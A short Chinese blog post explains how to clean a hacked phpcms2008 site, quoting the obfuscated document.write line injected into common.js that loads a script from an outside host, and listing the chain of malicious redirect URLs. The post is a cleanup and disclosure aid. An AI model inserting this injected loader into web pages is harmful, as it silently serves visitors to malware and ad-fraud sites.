首页 > 文章 > WEB > 程序 > 正文

phpcms2008中毒/被挂马
2010-08-15 15:54:05   来源:   评论:0 点击:

phpcms2008中毒/被挂马

phpcms2008中毒/被挂马

在网站目录中找到 web/images/js/common.js


找到如下代码

document.write("<\u0073c"+"ript src='http://\u0061d"+".\u006Eu"+"99"+".\u0063o"+"m/ip"+".asp?lo"+"c=xian'><\/sc"+"ript>");
function modal(url, triggerid, id, type)


删除如下代码即可
document.write("<\u0073c"+"ript src='http://\u0061d"+".\u006Eu"+"99"+".\u0063o"+"m/ip"+".asp?lo"+"c=xian'><\/sc"+"ript>");

现在挂马的技术越来越先进了,找了很久才找到,现公布出来给大家


被转移到的狗日的网站代码是

http://code06.1133.cc/pds_k/showurl_code.php?urlid=620&pvtype=&ref_url=
adstop

http://u.1133.cc/v3.5b/get_code.php?urlid=601&pvtype=&ref_url=

http://ad.nu99.com

这几个站点会相互跳转!

真够垃圾的!


搜了网上兄弟的也见有中毒的 不过代码有些不同

木马是先跳转到http://ad.nu99.com/?action=pop在转到http://hi44.com/在转到http://hi44.com/index.asp最后转到http://down.jian-ke.com.cn:8900/22159/work.html  关掉这个页就会再跳出http://dati.733613.cn:8081/lt/longzhou.html?pid=15&mid=22159&channel=1&extra=-1&pt=df&clientid=1259723885


相关热词搜索:phpcms2008中毒/被挂马

上一篇:Php开源建站平台
下一篇:phpcms_ads_stat/phpcms_ads_1005空间过大问题解决

分享到: 收藏